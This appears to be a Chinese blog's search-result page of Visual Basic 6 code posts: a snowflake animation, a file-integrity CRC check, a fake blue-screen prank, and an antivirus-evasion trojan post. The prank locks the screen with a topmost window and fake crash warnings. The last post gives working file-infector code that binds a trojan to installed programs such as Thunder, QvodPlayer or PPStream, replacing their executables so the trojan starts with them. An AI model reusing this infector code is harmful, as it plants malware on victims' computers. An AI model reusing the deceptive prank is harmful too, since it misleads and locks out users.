找到
9
篇与
VB
相关的结果
-
-
VB雪花飘飘 代码如下： 添加一个timer和一个label Private Sub Form_Load() Me.Caption = "雪花飘飘" Me.BackColor = RGB(100, 100, 255) Label1(0).AutoSize = True: Label1(0).BackStyle = 0 Label1(0).Caption = "*": Label1(0).ForeColor = &HFFFFFF Randomize For I = 0 To 40 If I > 0 Then Load Label1(I): Label1(I).Visible = True Label1(I).Move Me.ScaleWidth * Rnd, Me.ScaleHeight * Rnd Label1(I).Tag = Rnd * 7 - 3 & "|" & Rnd * 5 + 1 Label1(I).Font.Size = 5 + Rnd * 9 Next Label1(0).Font.Size = 9 Timer1.Enabled = True: Timer1.Interval = 50 End Sub Private Sub Timer1_Timer() Dim I As Long, S As Long, T As Single, L As Single Dim nTag As String, X As Single, y As Single, W As Single Randomize W = Label1(0).Height * 0.05 For I = 0 To Label1.Count - 1 nTag = Label1(I).Tag S = InStr(nTag, "|") X = Left(nTag, S - 1): y = Mid(nTag, S + 1) S = Int(Rnd * 10) If S = 0 Then X = Rnd * 11 - 5: Label1(I).Tag = X & "|" & y L = Label1(I).Left + X * W: T = Label1(I).Top + y * W If L < -Label1(I).Width Then L = Me.ScaleWidth If T < -Label1(I).Height Then T = Me.ScaleHeight If L > Me.ScaleWidth Then L = -Label1(I).Width If T > Me.ScaleHeight Then T = -Label1(I).Height Label1(I).Tag = Rnd * 11 - 5 & "|" & Rnd * 5 + 1 End If Label1(I).Move L, T Next End Sub
-
VB蓝屏代码-超邪恶 添加一个timer如图 代码： Dim ctCi As Long, ctT As Long, ctExitT As Long, ctStr() As String, ctStrS As Long, ctExit As Boolean Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Private Sub Form_Load() ctExitT = 12 '程序自动退出的时间（秒），可根据自己的喜好设定 Me.BackColor = RGB(0, 0, 255): Me.Caption = "蓝屏死机" Me.AutoRedraw = True: Me.WindowState = 2 Me.Font.Size = 21: Me.ForeColor = &HFFFFFF Timer1.Interval = 50: Timer1.Enabled = True ReDim ctStr(0 To 0) End Sub Private Sub Form_Click() If ctExit Then Unload Me End Sub Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) '单击左上角 20 个像素范围 Dim S1 As Single S1 = Me.ScaleX(20, 3, Me.ScaleMode) If X > S1 Or Y > S1 Then ctCi = 0: Exit Sub ctCi = ctCi + 1 If ctCi > 4 Then Call ExitInf End Sub Private Sub ExitInf() Timer1.Enabled = False: Me.WindowState = 0: ctCi = 0: ctExit = True Me.Move Screen.Width * 0.1, Screen.Height * 0.1, Screen.Width * 0.8, Screen.Height * 0.8 ctStrS = -1 AddStr "哈哈，一个玩笑" AddStr "结束本程序：单击蓝色区任意位置" Call ShowStr End Sub Private Sub Timer1_Timer() Static Ci As Long WinInTop Me.hWnd, True '始终将窗体保持在最前面，使用户无法使用开始菜单、任务管理器，无法操作任何程序 Ci = Ci + 1 If Ci * Timer1.Interval < 1000 Then Exit Sub '保证一秒钟计数一次 Ci = 0: ctExitT = ctExitT - 1: ctT = ctT + 1 If ctExitT < 1 Then Call ExitInf: Exit Sub Select Case ctT Case 1 ctStrS = -1 AddStr "Your Windows is died" Call ShowStr Case 5 ctStrS = -1 AddStr "Windows 警告" AddStr "内存出现严重错误" Call ShowStr Case 10 To 24 ctStrS = -1 AddStr "警告" AddStr "硬盘错误，无法正常运行 Windows" AddStr "Windows 正在试图修复所有错误" AddStr "请等待 " & ctExitT & " 秒……" Call ShowStr Case 25 ctStrS = -1 AddStr "警告" AddStr "由于你使用了盗版操作系统" AddStr "微软惩罚你：定期死机" Call ShowStr Case Else If ctT > 30 Then ctT = 0 End Select End Sub Private Sub AddStr(nStr) ctStrS = ctStrS + 1 ReDim Preserve ctStr(0 To ctStrS): ctStr(ctStrS) = nStr End Sub Private Sub ShowStr() Dim I As Long, S1 As Single, Y0 As Single, Y As Single, Hj As Single S1 = Me.TextHeight("A"): Hj = 0.5 '行高和行距 Y0 = S1 * (1 + Hj) * (1 + ctStrS) - S1 * Hj Y0 = (Me.ScaleHeight - Y0) * 0.5 Me.Cls For I = 0 To ctStrS Me.CurrentX = (Me.ScaleWidth - Me.TextWidth(ctStr(I))) * 0.5 Me.CurrentY = Y0 + I * S1 * (1 + Hj) Me.Print ctStr(I) Next End Sub Private Sub WinInTop(nWnd As Long, Optional InTop As Boolean) Const HWND_NoTopMost = -2 '取消在最前 Const HWND_TopMost = -1 '最上 Const SWP_NoSize = &H1 'wFlags 参数 Const SWP_NoMove = &H2 Const SWP_NoZorder = &H4 Const SWP_ShowWindow = &H40 Const SWP_HideWindow = &H80 Dim nIn As Long If InTop Then nIn = HWND_TopMost Else nIn = HWND_NoTopMost SetWindowPos nWnd, nIn, 0, 0, 0, 0, SWP_NoSize + SWP_NoMove End Sub
-
VB判断程序自身是否被修改（防脱壳） 以前写的，用了2个判别办法。1.检测自身文件大小 2.检测CRC32（当然也可以检测md5） 补充几句：最简单的就是加个变态壳。。不然遇到高手这也是浮云。。 先上图。 代码如下： 需要添加一个控件，如图 form.frm窗体代码： Private Sub Command1_Click() txtCRC32.Text = GetFullCRC(App.Path & "\" & App.EXEName & ".exe") IfSafe End Sub模块mdlFunction.bas代码： Option Explicit Dim CRC32 As New clsGetCRC32 Function GetChecksum(sFile As String) As String On Error GoTo ErrHandle Dim cb0 As Byte Dim cb1 As Byte Dim cb2 As Byte Dim cb3 As Byte Dim cb4 As Byte Dim cb5 As Byte Dim cb6 As Byte Dim cb7 As Byte Dim cb8 As Byte Dim cb9 As Byte Dim cb10 As Byte Dim cb11 As Byte Dim cb12 As Byte Dim cb13 As Byte Dim cb14 As Byte Dim cb15 As Byte Dim cb16 As Byte Dim cb17 As Byte Dim cb18 As Byte Dim cb19 As Byte Dim cb20 As Byte Dim cb21 As Byte Dim cb22 As Byte Dim cb23 As Byte Dim buff As String Open sFile For Binary Access Read As #1 buff = Space$(1) Get #1, , buff Close #1 Open sFile For Binary Access Read As #2 Get #2, 512, cb0 Get #2, 1024, cb1 Get #2, 2048, cb2 Get #2, 3000, cb3 Get #2, 4096, cb4 Get #2, 5000, cb5 Get #2, 6000, cb6 Get #2, 7000, cb7 Get #2, 8192, cb8 Get #2, 9000, cb9 Get #2, 10000, cb10 Get #2, 11000, cb11 Get #2, 12288, cb12 Get #2, 13000, cb13 Get #2, 14000, cb14 Get #2, 15000, cb15 Get #2, 16384, cb16 Get #2, 17000, cb17 Get #2, 18000, cb18 Get #2, 19000, cb19 Get #2, 20480, cb20 Get #2, 21000, cb21 Get #2, 22000, cb22 Get #2, 23000, cb23 Close #2 buff = cb0 buff = buff & cb1 buff = buff & cb2 buff = buff & cb3 buff = buff & cb4 buff = buff & cb5 buff = buff & cb6 buff = buff & cb7 buff = buff & cb8 buff = buff & cb9 buff = buff & cb10 buff = buff & cb11 buff = buff & cb12 buff = buff & cb13 buff = buff & cb14 buff = buff & cb15 buff = buff & cb16 buff = buff & cb17 buff = buff & cb18 buff = buff & cb19 buff = buff & cb20 buff = buff & cb21 buff = buff & cb22 buff = buff & cb23 GetChecksum = CRC32.StringChecksum(buff) Set CRC32 = Nothing Exit Function ErrHandle: Close #2 End Function Function GetFullCRC(sFile As String) As String GetFullCRC = CRC32.FileChecksum(sFile) End Function Public Function MsgBox2() As Double MsgBox "“0x1002359e”指令引用的“0x00313c0e8”内存。该内存不能为“fuck”。" & vbCrLf & _ "" & vbCrLf & _ "要终止程序，请单击“确定”。" & vbCrLf & _ "要调试程序，请单击“取消”。", vbCritical + vbOKCancel, "应用程序错误" End Function Public Function IfSafe() As Double On Error Resume Next Dim a, b Dim FileLength, FileBig a = GetFullCRC(App.Path & "\" & App.EXEName & ".exe") b = Form1.Inet1.OpenURL("https://nobb.cc/test/protect.txt") Open App.Path & "\" & App.EXEName & ".exe" For Input As #1 FileLength = LOF(1) FileBig = FileLength If FileLength <> "28672" Then '这里是文件的大小。右键属性，有个 “大小28.0 KB (28,672 字节)”复制里面的28672 MsgBox2 End Else If a <> b Then MsgBox2 End Else ' 继续 MsgBox "程序正常", , "通过" End If End End If End Function类模块clsGetCRC32.cls代码：此类模块非原创 Option Explicit Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private m_CRC32Asmbl() As Byte Private m_CRC32Table(0 To 255) As Long Function FileChecksum(File As String) As String If Len(Dir$(File)) = 0 Then Exit Function End If On Error GoTo Err_Handler Dim Arr() As Byte Dim f As Integer f = FreeFile Open File For Binary Access Read As f ReDim Arr(0 To LOF(f) - 1) As Byte Get #f, , Arr() Close #f FileChecksum = Hex$(CalculateBytes(Arr)) Err_Handler: End Function Function StringChecksum(Str As String) As String If Not Len(Str) = 0 Then StringChecksum = Hex$(CalculateBytes(StrConv(Str, vbFromUnicode))) End If End Function Private Function CalculateBytes(Arr() As Byte) As Long Dim CRC32 As Long CRC32 = &HFFFFFFFF On Local Error GoTo Err_Handler Dim i As Long i = UBound(Arr) - LBound(Arr) + 1 Call CallWindowProc(VarPtr(m_CRC32Asmbl(0)), VarPtr(CRC32), VarPtr(Arr(LBound(Arr))), VarPtr(m_CRC32Table(0)), i) Err_Handler: CalculateBytes = (Not CRC32) End Function Private Sub Class_Initialize() Dim i As Long m_CRC32Table(0) = &H0 m_CRC32Table(1) = &H77073096 m_CRC32Table(2) = &HEE0E612C m_CRC32Table(3) = &H990951BA m_CRC32Table(4) = &H76DC419 m_CRC32Table(5) = &H706AF48F m_CRC32Table(6) = &HE963A535 m_CRC32Table(7) = &H9E6495A3 m_CRC32Table(8) = &HEDB8832 m_CRC32Table(9) = &H79DCB8A4 m_CRC32Table(10) = &HE0D5E91E m_CRC32Table(11) = &H97D2D988 m_CRC32Table(12) = &H9B64C2B m_CRC32Table(13) = &H7EB17CBD m_CRC32Table(14) = &HE7B82D07 m_CRC32Table(15) = &H90BF1D91 m_CRC32Table(16) = &H1DB71064 m_CRC32Table(17) = &H6AB020F2 m_CRC32Table(18) = &HF3B97148 m_CRC32Table(19) = &H84BE41DE m_CRC32Table(20) = &H1ADAD47D m_CRC32Table(21) = &H6DDDE4EB m_CRC32Table(22) = &HF4D4B551 m_CRC32Table(23) = &H83D385C7 m_CRC32Table(24) = &H136C9856 m_CRC32Table(25) = &H646BA8C0 m_CRC32Table(26) = &HFD62F97A m_CRC32Table(27) = &H8A65C9EC m_CRC32Table(28) = &H14015C4F m_CRC32Table(29) = &H63066CD9 m_CRC32Table(30) = &HFA0F3D63 m_CRC32Table(31) = &H8D080DF5 m_CRC32Table(32) = &H3B6E20C8 m_CRC32Table(33) = &H4C69105E m_CRC32Table(34) = &HD56041E4 m_CRC32Table(35) = &HA2677172 m_CRC32Table(36) = &H3C03E4D1 m_CRC32Table(37) = &H4B04D447 m_CRC32Table(38) = &HD20D85FD m_CRC32Table(39) = &HA50AB56B m_CRC32Table(40) = &H35B5A8FA m_CRC32Table(41) = &H42B2986C m_CRC32Table(42) = &HDBBBC9D6 m_CRC32Table(43) = &HACBCF940 m_CRC32Table(44) = &H32D86CE3 m_CRC32Table(45) = &H45DF5C75 m_CRC32Table(46) = &HDCD60DCF m_CRC32Table(47) = &HABD13D59 m_CRC32Table(48) = &H26D930AC m_CRC32Table(49) = &H51DE003A m_CRC32Table(50) = &HC8D75180 m_CRC32Table(51) = &HBFD06116 m_CRC32Table(52) = &H21B4F4B5 m_CRC32Table(53) = &H56B3C423 m_CRC32Table(54) = &HCFBA9599 m_CRC32Table(55) = &HB8BDA50F m_CRC32Table(56) = &H2802B89E m_CRC32Table(57) = &H5F058808 m_CRC32Table(58) = &HC60CD9B2 m_CRC32Table(59) = &HB10BE924 m_CRC32Table(60) = &H2F6F7C87 m_CRC32Table(61) = &H58684C11 m_CRC32Table(62) = &HC1611DAB m_CRC32Table(63) = &HB6662D3D m_CRC32Table(64) = &H76DC4190 m_CRC32Table(65) = &H1DB7106 m_CRC32Table(66) = &H98D220BC m_CRC32Table(67) = &HEFD5102A m_CRC32Table(68) = &H71B18589 m_CRC32Table(69) = &H6B6B51F m_CRC32Table(70) = &H9FBFE4A5 m_CRC32Table(71) = &HE8B8D433 m_CRC32Table(72) = &H7807C9A2 m_CRC32Table(73) = &HF00F934 m_CRC32Table(74) = &H9609A88E m_CRC32Table(75) = &HE10E9818 m_CRC32Table(76) = &H7F6A0DBB m_CRC32Table(77) = &H86D3D2D m_CRC32Table(78) = &H91646C97 m_CRC32Table(79) = &HE6635C01 m_CRC32Table(80) = &H6B6B51F4 m_CRC32Table(81) = &H1C6C6162 m_CRC32Table(82) = &H856530D8 m_CRC32Table(83) = &HF262004E m_CRC32Table(84) = &H6C0695ED m_CRC32Table(85) = &H1B01A57B m_CRC32Table(86) = &H8208F4C1 m_CRC32Table(87) = &HF50FC457 m_CRC32Table(88) = &H65B0D9C6 m_CRC32Table(89) = &H12B7E950 m_CRC32Table(90) = &H8BBEB8EA m_CRC32Table(91) = &HFCB9887C m_CRC32Table(92) = &H62DD1DDF m_CRC32Table(93) = &H15DA2D49 m_CRC32Table(94) = &H8CD37CF3 m_CRC32Table(95) = &HFBD44C65 m_CRC32Table(96) = &H4DB26158 m_CRC32Table(97) = &H3AB551CE m_CRC32Table(98) = &HA3BC0074 m_CRC32Table(99) = &HD4BB30E2 m_CRC32Table(100) = &H4ADFA541 m_CRC32Table(101) = &H3DD895D7 m_CRC32Table(102) = &HA4D1C46D m_CRC32Table(103) = &HD3D6F4FB m_CRC32Table(104) = &H4369E96A m_CRC32Table(105) = &H346ED9FC m_CRC32Table(106) = &HAD678846 m_CRC32Table(107) = &HDA60B8D0 m_CRC32Table(108) = &H44042D73 m_CRC32Table(109) = &H33031DE5 m_CRC32Table(110) = &HAA0A4C5F m_CRC32Table(111) = &HDD0D7CC9 m_CRC32Table(112) = &H5005713C m_CRC32Table(113) = &H270241AA m_CRC32Table(114) = &HBE0B1010 m_CRC32Table(115) = &HC90C2086 m_CRC32Table(116) = &H5768B525 m_CRC32Table(117) = &H206F85B3 m_CRC32Table(118) = &HB966D409 m_CRC32Table(119) = &HCE61E49F m_CRC32Table(120) = &H5EDEF90E m_CRC32Table(121) = &H29D9C998 m_CRC32Table(122) = &HB0D09822 m_CRC32Table(123) = &HC7D7A8B4 m_CRC32Table(124) = &H59B33D17 m_CRC32Table(125) = &H2EB40D81 m_CRC32Table(126) = &HB7BD5C3B m_CRC32Table(127) = &HC0BA6CAD m_CRC32Table(128) = &HEDB88320 m_CRC32Table(129) = &H9ABFB3B6 m_CRC32Table(130) = &H3B6E20C m_CRC32Table(131) = &H74B1D29A m_CRC32Table(132) = &HEAD54739 m_CRC32Table(133) = &H9DD277AF m_CRC32Table(134) = &H4DB2615 m_CRC32Table(135) = &H73DC1683 m_CRC32Table(136) = &HE3630B12 m_CRC32Table(137) = &H94643B84 m_CRC32Table(138) = &HD6D6A3E m_CRC32Table(139) = &H7A6A5AA8 m_CRC32Table(140) = &HE40ECF0B m_CRC32Table(141) = &H9309FF9D m_CRC32Table(142) = &HA00AE27 m_CRC32Table(143) = &H7D079EB1 m_CRC32Table(144) = &HF00F9344 m_CRC32Table(145) = &H8708A3D2 m_CRC32Table(146) = &H1E01F268 m_CRC32Table(147) = &H6906C2FE m_CRC32Table(148) = &HF762575D m_CRC32Table(149) = &H806567CB m_CRC32Table(150) = &H196C3671 m_CRC32Table(151) = &H6E6B06E7 m_CRC32Table(152) = &HFED41B76 m_CRC32Table(153) = &H89D32BE0 m_CRC32Table(154) = &H10DA7A5A m_CRC32Table(155) = &H67DD4ACC m_CRC32Table(156) = &HF9B9DF6F m_CRC32Table(157) = &H8EBEEFF9 m_CRC32Table(158) = &H17B7BE43 m_CRC32Table(159) = &H60B08ED5 m_CRC32Table(160) = &HD6D6A3E8 m_CRC32Table(161) = &HA1D1937E m_CRC32Table(162) = &H38D8C2C4 m_CRC32Table(163) = &H4FDFF252 m_CRC32Table(164) = &HD1BB67F1 m_CRC32Table(165) = &HA6BC5767 m_CRC32Table(166) = &H3FB506DD m_CRC32Table(167) = &H48B2364B m_CRC32Table(168) = &HD80D2BDA m_CRC32Table(169) = &HAF0A1B4C m_CRC32Table(170) = &H36034AF6 m_CRC32Table(171) = &H41047A60 m_CRC32Table(172) = &HDF60EFC3 m_CRC32Table(173) = &HA867DF55 m_CRC32Table(174) = &H316E8EEF m_CRC32Table(175) = &H4669BE79 m_CRC32Table(176) = &HCB61B38C m_CRC32Table(177) = &HBC66831A m_CRC32Table(178) = &H256FD2A0 m_CRC32Table(179) = &H5268E236 m_CRC32Table(180) = &HCC0C7795 m_CRC32Table(181) = &HBB0B4703 m_CRC32Table(182) = &H220216B9 m_CRC32Table(183) = &H5505262F m_CRC32Table(184) = &HC5BA3BBE m_CRC32Table(185) = &HB2BD0B28 m_CRC32Table(186) = &H2BB45A92 m_CRC32Table(187) = &H5CB36A04 m_CRC32Table(188) = &HC2D7FFA7 m_CRC32Table(189) = &HB5D0CF31 m_CRC32Table(190) = &H2CD99E8B m_CRC32Table(191) = &H5BDEAE1D m_CRC32Table(192) = &H9B64C2B0 m_CRC32Table(193) = &HEC63F226 m_CRC32Table(194) = &H756AA39C m_CRC32Table(195) = &H26D930A m_CRC32Table(196) = &H9C0906A9 m_CRC32Table(197) = &HEB0E363F m_CRC32Table(198) = &H72076785 m_CRC32Table(199) = &H5005713 m_CRC32Table(200) = &H95BF4A82 m_CRC32Table(201) = &HE2B87A14 m_CRC32Table(202) = &H7BB12BAE m_CRC32Table(203) = &HCB61B38 m_CRC32Table(204) = &H92D28E9B m_CRC32Table(205) = &HE5D5BE0D m_CRC32Table(206) = &H7CDCEFB7 m_CRC32Table(207) = &HBDBDF21 m_CRC32Table(208) = &H86D3D2D4 m_CRC32Table(209) = &HF1D4E242 m_CRC32Table(210) = &H68DDB3F8 m_CRC32Table(211) = &H1FDA836E m_CRC32Table(212) = &H81BE16CD m_CRC32Table(213) = &HF6B9265B m_CRC32Table(214) = &H6FB077E1 m_CRC32Table(215) = &H18B74777 m_CRC32Table(216) = &H88085AE6 m_CRC32Table(217) = &HFF0F6A70 m_CRC32Table(218) = &H66063BCA m_CRC32Table(219) = &H11010B5C m_CRC32Table(220) = &H8F659EFF m_CRC32Table(221) = &HF862AE69 m_CRC32Table(222) = &H616BFFD3 m_CRC32Table(223) = &H166CCF45 m_CRC32Table(224) = &HA00AE278 m_CRC32Table(225) = &HD70DD2EE m_CRC32Table(226) = &H4E048354 m_CRC32Table(227) = &H3903B3C2 m_CRC32Table(228) = &HA7672661 m_CRC32Table(229) = &HD06016F7 m_CRC32Table(230) = &H4969474D m_CRC32Table(231) = &H3E6E77DB m_CRC32Table(232) = &HAED16A4A m_CRC32Table(233) = &HD9D65ADC m_CRC32Table(234) = &H40DF0B66 m_CRC32Table(235) = &H37D83BF0 m_CRC32Table(236) = &HA9BCAE53 m_CRC32Table(237) = &HDEBB9EC5 m_CRC32Table(238) = &H47B2CF7F m_CRC32Table(239) = &H30B5FFE9 m_CRC32Table(240) = &HBDBDF21C m_CRC32Table(241) = &HCABAC28A m_CRC32Table(242) = &H53B39330 m_CRC32Table(243) = &H24B4A3A6 m_CRC32Table(244) = &HBAD03605 m_CRC32Table(245) = &HCDD70693 m_CRC32Table(246) = &H54DE5729 m_CRC32Table(247) = &H23D967BF m_CRC32Table(248) = &HB3667A2E m_CRC32Table(249) = &HC4614AB8 m_CRC32Table(250) = &H5D681B02 m_CRC32Table(251) = &H2A6F2B94 m_CRC32Table(252) = &HB40BBE37 m_CRC32Table(253) = &HC30C8EA1 m_CRC32Table(254) = &H5A05DF1B m_CRC32Table(255) = &H2D02EF8D Const ASM As String = "5589E557565053518B45088B008B750C8B7D108B4D1431DB8A1E30C3C1E80833049F464975F28B4D088901595B585E5F89EC5DC21000" ReDim m_CRC32Asmbl(0 To Len(ASM) \ 2 - 1) For i = 1 To Len(ASM) Step 2 m_CRC32Asmbl(i \ 2) = Val("&H" & Mid$(ASM, i, 2)) Next i End Sub
-
VB之远控免杀之破杀软自启动 以前买了本书《终极免杀》，书还不错，主要是看中了360免杀的专题。里面就讲了这个方法来自启动。 思路如下： 查找系统指定软件路径（用注册表），然后把木马与主程序捆绑并替换。有些程序会自身检测。这个就要靠你自己了。 源码中的资源文件放木马,源码感染的是迅雷，当然你可以改成别的！ 核心模块代码; Function GanRanExe(ByVal sFilePath As String) Dim MyArray() As Byte Dim CurrentSize As Long Dim FileArray() As Byte, FileArray1() As Byte Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray Close #1 Open sFilePath For Binary Access Read As #1 ReDim FileArray(LOF(1) - 1) Get #1, , FileArray Close #1 FileArray1 = LoadResData(101, "CUSTOM") Kill sFilePath Open sFilePath For Binary Access Write As #1 Put #1, , MyArray Put #1, , FileArray CurrentSize = LOF(1) Put #1, , FileArray1 Put #1, , "GanRanFileTbide" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1 & "," & CurrentSize & "," & UBound(FileArray1) + 1 Close #1 End Function Function FenLiGanRanExe(ByVal FenLiToFilePath As String) On Error Resume Next Dim MyArray() As Byte Dim FileArray() As Byte Dim FenLiXinXi() As String Dim FenLiXinXiSize() As String Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray FenLiXinXi = Split(StrConv(MyArray, vbUnicode), "GanRanFileTbide") FenLiXinXiSize = Split(FenLiXinXi(UBound(FenLiXinXi)), ",") ReDim FileArray(FenLiXinXiSize(1) - 1) Get #1, FenLiXinXiSize(0) + 1, FileArray Close #1 Kill FenLiToFilePath Open FenLiToFilePath For Binary Access Write As #1 Put #1, 1, FileArray Close #1 End Function Function FenLiGanRanExe1(ByVal FenLiToFilePath As String) On Error Resume Next Dim MyArray() As Byte Dim FileArray() As Byte Dim FenLiXinXi() As String Dim FenLiXinXiSize() As String Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray FenLiXinXi = Split(StrConv(MyArray, vbUnicode), "GanRanFileTbide") FenLiXinXiSize = Split(FenLiXinXi(UBound(FenLiXinXi)), ",") ReDim FileArray(FenLiXinXiSize(3) - 1) Get #1, FenLiXinXiSize(2) + 1, FileArray Close #1 Kill FenLiToFilePath Open FenLiToFilePath For Binary Access Write As #1 Put #1, 1, FileArray Close #1 End Function Function TestGanRan(ByVal sFilePath As String) As Boolean Dim FileArray() As Byte Open sFilePath For Binary Access Read As #1 ReDim FileArray(LOF(1) - 1) Get #1, , FileArray Close #1 If InStr(StrConv(FileArray, vbUnicode), "GanRanFileTbide") > 0 Then TestGanRan = True Else TestGanRan = False End If End Function Public Function ReadReg(ByVal hKey) On Error Resume Next Set pReg = CreateObject("Wscript.Shell") ReadReg = pReg.RegRead(hKey) End Function Function PanDuanpath() As Boolean On Error Resume Next Dim thunderPath thunderPath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Thunder Network\ThunderOem\thunder_backwnd\dir") If Dir(thunderPath & "\Program\Thunder.exe") <> "" Then FrmMain.Combo1.AddItem thunderPath FrmMain.Combo1.Text = thunderPath Else End If Dim Qvodpath Qvodpath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\QvodPlayer\Insert\Insertpath") If Dir(Qvodpath & "/QvodPlayer.exe") <> "" Then FrmMain.Combo1.AddItem Qvodpath FrmMain.Combo1.Text = Qvodpath Else End If Dim PPSpath PPSpath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PPStream.exe\Path") If Dir(PPSpath & "/PPStream.exe") <> "" Then FrmMain.Combo1.AddItem PPSpath FrmMain.Combo1.Text = PPSpath Else End If End Function源码下载地址
